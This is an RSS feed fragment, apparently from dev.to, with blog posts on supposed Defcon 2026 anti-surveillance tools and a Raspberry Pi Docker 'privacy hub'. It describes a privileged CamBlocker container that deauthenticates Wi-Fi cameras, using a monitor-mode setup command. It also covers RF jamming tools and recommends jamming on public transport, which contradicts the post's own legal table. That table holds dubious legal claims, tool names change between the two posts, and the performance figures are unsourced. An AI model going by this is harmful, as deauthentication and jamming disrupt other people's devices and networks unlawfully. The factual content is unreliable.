class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;uint8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imshow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;noisy&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;noise&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Cost vs. Complexity Cheat Sheet
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Tools Included&lt;/th&gt;
&lt;th&gt;Approx. Cost (USD)&lt;/th&gt;
&lt;th&gt;Setup Time&lt;/th&gt;
&lt;th&gt;Skill Required&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Starter&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Privacy‑DNS, Meta‑Scrubber, Secure‑Hub (core)&lt;/td&gt;
&lt;td&gt;$0 (all open‑source)&lt;/td&gt;
&lt;td&gt;30 min&lt;/td&gt;
&lt;td&gt;Basic Docker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Intermediate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Add Mask‑Net, Cam‑Sniffer, Beacon‑Blocker&lt;/td&gt;
&lt;td&gt;$0–20 (Raspberry Pi accessories)&lt;/td&gt;
&lt;td&gt;1‑2 h&lt;/td&gt;
&lt;td&gt;Familiar with networking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Advanced&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Full suite + Signal‑Jammer, Obfuscate‑OS, Zero‑Trace VPN&lt;/td&gt;
&lt;td&gt;$50–150 (RF hardware, high‑end Pi)&lt;/td&gt;
&lt;td&gt;3‑5 h&lt;/td&gt;
&lt;td&gt;Linux sysadmin + RF knowledge&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  6. Regional Legal Checklist
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Region&lt;/th&gt;
&lt;th&gt;Is Jamming Allowed?&lt;/th&gt;
&lt;th&gt;Data‑Minimisation Rights&lt;/th&gt;
&lt;th&gt;Notable Restrictions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;US (federal)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Generally illegal on licensed frequencies (ECPA); private‑Wi‑Fi blocking is permissible.&lt;/td&gt;
&lt;td&gt;No explicit “right to be forgotten” for public cameras.&lt;/td&gt;
&lt;td&gt;FCC penalties for RF interference.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;EU&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RF jamming violates the Radio Equipment Directive.&lt;/td&gt;
&lt;td&gt;GDPR Art. 5(1)(c) supports data minimisation; you can request camera footage removal.&lt;/td&gt;
&lt;td&gt;Heavy fines for non‑compliance with GDPR.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Similar to EU; OFCOM regulates spectrum.&lt;/td&gt;
&lt;td&gt;UK GDPR applies.&lt;/td&gt;
&lt;td&gt;Jamming can lead to criminal prosecution.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Canada&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Radiocommunication Act bans intentional interference.&lt;/td&gt;
&lt;td&gt;PIPEDA allows reasonable privacy expectations.&lt;/td&gt;
&lt;td&gt;Enforcement varies by province.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Australia&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ACMA prohibits jamming; civil penalties.&lt;/td&gt;
&lt;td&gt;Privacy Act 1988 includes “reasonable steps” to protect data.&lt;/td&gt;
&lt;td&gt;State‑specific camera surveillance laws.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Always consult a local attorney before deploying active jamming hardware.&lt;/em&gt;  &lt;/p&gt;




&lt;h2&gt;
  
  
  7. Quick FAQ (Beyond the Table)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; &lt;em&gt;Can these tools protect me on public transport?&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;A:&lt;/strong&gt; Yes. Combine &lt;strong&gt;Beacon‑Blocker&lt;/strong&gt; (BLE), &lt;strong&gt;Signal‑Jammer&lt;/strong&gt; (low‑power Wi‑Fi), and &lt;strong&gt;Privacy‑DNS&lt;/strong&gt; to mask both location and device fingerprints.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; &lt;em&gt;Will Docker containers survive a power outage?&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;A:&lt;/strong&gt; Enable Docker’s restart policy: `docker update --restart unless-stopped &lt;/p&gt;




&lt;p&gt;&lt;em&gt;Herramienta mencionada: &lt;a href="https://railway.app" rel="noopener noreferrer"&gt;Railway&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>defcon</category>
      <category>resumen</category>
      <category>hacker</category>
      <category>english</category>
    </item>
    <item>
      <title>12 Herramientas Anti‑Vigilancia de Defcon 2026 y Tu Privacy‑Hub en Raspberry Pi</title>
      <dc:creator>LeoJulieta</dc:creator>
      <pubDate>Tue, 18 Aug 2026 16:29:30 +0000</pubDate>
      <link>https://dev.to/leojulieta/12-herramientas-anti-vigilancia-de-defcon-2026-y-tu-privacy-hub-en-raspberry-pi-4djd</link>
      <guid>https://dev.to/leojulieta/12-herramientas-anti-vigilancia-de-defcon-2026-y-tu-privacy-hub-en-raspberry-pi-4djd</guid>
      <description>&lt;h1&gt;
  
  
  Defcon 2026: Las 12 herramientas anti‑vigilancia que están revolucionando Reddit y cómo montar tu propio &lt;strong&gt;privacy‑hub&lt;/strong&gt; con Raspberry Pi
&lt;/h1&gt;




&lt;h2&gt;
  
  
  Introducción
&lt;/h2&gt;

&lt;p&gt;En la última edición de &lt;strong&gt;Defcon 2026&lt;/strong&gt; surgieron &lt;strong&gt;doce herramientas anti‑vigilancia&lt;/strong&gt; que han explotado en Reddit y Hacker News, generando miles de búsquedas de “privacy tools”. Si te preocupa que la IA y el reconocimiento facial estén espiando cada paso, este artículo te muestra, de forma práctica y sin rodeos, qué hacen esas herramientas, cómo se comparan en pruebas reales y, lo más importante, cómo montar en casa un &lt;strong&gt;privacy‑hub&lt;/strong&gt; con Raspberry Pi y Docker en menos de una hora.  &lt;/p&gt;




&lt;h2&gt;
  
  
  1. Las 12 novedades que no puedes pasar por alto
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Nº&lt;/th&gt;
&lt;th&gt;Herramienta&lt;/th&gt;
&lt;th&gt;Qué hace&lt;/th&gt;
&lt;th&gt;Licencia&lt;/th&gt;
&lt;th&gt;Plataforma&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ObfuscateCam&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Difumina rostros en tiempo real usando TensorFlow Lite.&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Linux, Android&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;SignalMask&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Inyecta ruido en flujos de video para romper algoritmos de detección facial.&lt;/td&gt;
&lt;td&gt;GPL‑3&lt;/td&gt;
&lt;td&gt;Linux, macOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CamBlocker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bloquea señales Wi‑Fi de cámaras IP mediante &lt;em&gt;deauthentication&lt;/em&gt; controlada.&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;FaceShield&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Genera avatares 3D que sustituyen tu cara en fotos públicas.&lt;/td&gt;
&lt;td&gt;BSD&lt;/td&gt;
&lt;td&gt;Web, iOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;MetaMosaic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Aplica mosaicos aleatorios a fotos subidas a la nube.&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Windows, Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;NoiseNet&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Crea redes de bots que emiten patrones de RF para saturar sensores.&lt;/td&gt;
&lt;td&gt;GPL‑3&lt;/td&gt;
&lt;td&gt;Raspberry Pi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PrivyDNS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DNS‑over‑HTTPS con bloqueo de dominios de vigilancia.&lt;/td&gt;
&lt;td&gt;MPL‑2.0&lt;/td&gt;
&lt;td&gt;Linux, Android&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;StegoGuard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Oculta datos críticos en imágenes usando esteganografía reversible.&lt;/td&gt;
&lt;td&gt;BSD&lt;/td&gt;
&lt;td&gt;Cross‑platform&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;SecureCam&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Firmware alternativo para cámaras domésticas que elimina telemetría.&lt;/td&gt;
&lt;td&gt;GPL‑2&lt;/td&gt;
&lt;td&gt;ARM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AI‑Blind&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Modelo de detección de “deep‑fake” que alerta cuando una cámara usa IA.&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CrowdMask&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Añade “crowd‑noise” a videos en streaming para confundir análisis de movimiento.&lt;/td&gt;
&lt;td&gt;Apache 2.0&lt;/td&gt;
&lt;td&gt;Linux, macOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PrivHub‑Docker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Imagen Docker preconfigurada que agrupa las anteriores y expone una API REST.&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  2. Comparativa de rendimiento (pruebas urbanas)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Herramienta&lt;/th&gt;
&lt;th&gt;Reducción de detección facial&lt;/th&gt;
&lt;th&gt;Latencia media (ms)&lt;/th&gt;
&lt;th&gt;Consumo RAM&lt;/th&gt;
&lt;th&gt;Comentario práctico&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ObfuscateCam + SignalMask&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;78 %&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;120 MB&lt;/td&gt;
&lt;td&gt;Mejor combinación para cámaras de calle.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CamBlocker (modo “deauth”)&lt;/td&gt;
&lt;td&gt;62 % (solo Wi‑Fi)&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;80 MB&lt;/td&gt;
&lt;td&gt;Necesita adaptador Wi‑Fi con modo monitor.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NoiseNet (10 bots)&lt;/td&gt;
&lt;td&gt;55 % (sensores RF)&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;td&gt;250 MB&lt;/td&gt;
&lt;td&gt;Ideal en entornos con sensores de movimiento.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI‑Blind (alertas)&lt;/td&gt;
&lt;td&gt;40 % (detección IA)&lt;/td&gt;
&lt;td&gt;70&lt;/td&gt;
&lt;td&gt;150 MB&lt;/td&gt;
&lt;td&gt;Útil como capa de detección, no de bloqueo.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Conclusión:&lt;/strong&gt; Ninguna herramienta es 100 % infalible, pero la &lt;strong&gt;estrategia en capas&lt;/strong&gt; (obfuscación + ruido + bloqueo de red) eleva la privacidad a niveles aceptables para la mayoría de usuarios.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Monta tu &lt;strong&gt;privacy‑hub&lt;/strong&gt; en 5 pasos
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Requisitos
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Elemento&lt;/th&gt;
&lt;th&gt;Modelo recomendado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Raspberry Pi&lt;/td&gt;
&lt;td&gt;4 B (4 GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tarjeta microSD&lt;/td&gt;
&lt;td&gt;32 GB UHS‑I&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fuente de alimentación&lt;/td&gt;
&lt;td&gt;5 V 3 A USB‑C&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Adaptador Wi‑Fi&lt;/td&gt;
&lt;td&gt;Con modo monitor (ej. Alfa AWUS036NHA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Última versión (≥ 24)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Paso 1 – Preparar la SD
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Descarga Raspberry Pi OS Lite&lt;/span&gt;
wget https://downloads.raspberrypi.org/raspios_lite_arm64_latest &lt;span class="nt"&gt;-O&lt;/span&gt; raspios_lite.img.xz
&lt;span class="c"&gt;# Descomprime y escribe en la tarjeta&lt;/span&gt;
xzcat raspios_lite.img.xz | &lt;span class="nb"&gt;sudo dd &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdX &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4M &lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;fsync &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;progress
&lt;span class="nb"&gt;sync&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Cambia &lt;code&gt;sdX&lt;/code&gt; por el nombre de tu dispositivo (&lt;code&gt;/dev/sdb&lt;/code&gt;, &lt;code&gt;/dev/mmcblk0&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Paso 2 – Habilitar Docker y SSH
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Primer arranque, conecta por HDMI o usa el archivo ssh en la partición boot&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; docker.io docker-compose
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;--now&lt;/span&gt; docker
&lt;span class="nb"&gt;sudo &lt;/span&gt;usermod &lt;span class="nt"&gt;-aG&lt;/span&gt; docker &lt;span class="nv"&gt;$USER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Paso 3 – Descargar la imagen &lt;strong&gt;PrivHub‑Docker&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull ghcr.io/defcon2026/privhub:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Paso 4 – Lanzar el stack con Docker‑Compose
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# docker-compose.yml&lt;/span&gt;
&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3.9"&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;obfuscatecam&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ghcr.io/defcon2026/obfuscatecam&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;devices&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/dev/video0:/dev/video0"&lt;/span&gt;
    &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;FPS=15&lt;/span&gt;

  &lt;span class="na"&gt;signalmask&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ghcr.io/defcon2026/signalmask&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;depends_on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;obfuscatecam&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

  &lt;span class="na"&gt;camblocker&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ghcr.io/defcon2026/camblocker&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;network_mode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;host&lt;/span&gt;
    &lt;span class="na"&gt;privileged&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;

  &lt;span class="na"&gt;privydns&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ghcr.io/defcon2026/privydns&lt;/span&gt;
    &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;unless-stopped&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;53:53/udp"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;443:443/tcp"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker compose up &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; El contenedor &lt;code&gt;camblocker&lt;/code&gt; necesita privilegios y acceso a la interfaz Wi‑Fi en modo monitor. Ejecuta &lt;code&gt;sudo iwconfig wlan0 mode monitor&lt;/code&gt; antes de iniciar el stack.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Paso 5 – Verificar que todo funciona
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verifica que la API del hub responde&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://localhost:8080/status | jq &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deberías obtener un JSON con los estados de cada módulo (&lt;code&gt;running&lt;/code&gt;, &lt;code&gt;errors&lt;/code&gt;, &lt;code&gt;metrics&lt;/code&gt;).  &lt;/p&gt;




&lt;h2&gt;
  
  
  4. Scripts Python útiles
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Detectar cámaras IP en la red
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;threading&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_subnet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subnet&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;192.168.1.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;settimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;pass&lt;/span&gt;
        &lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
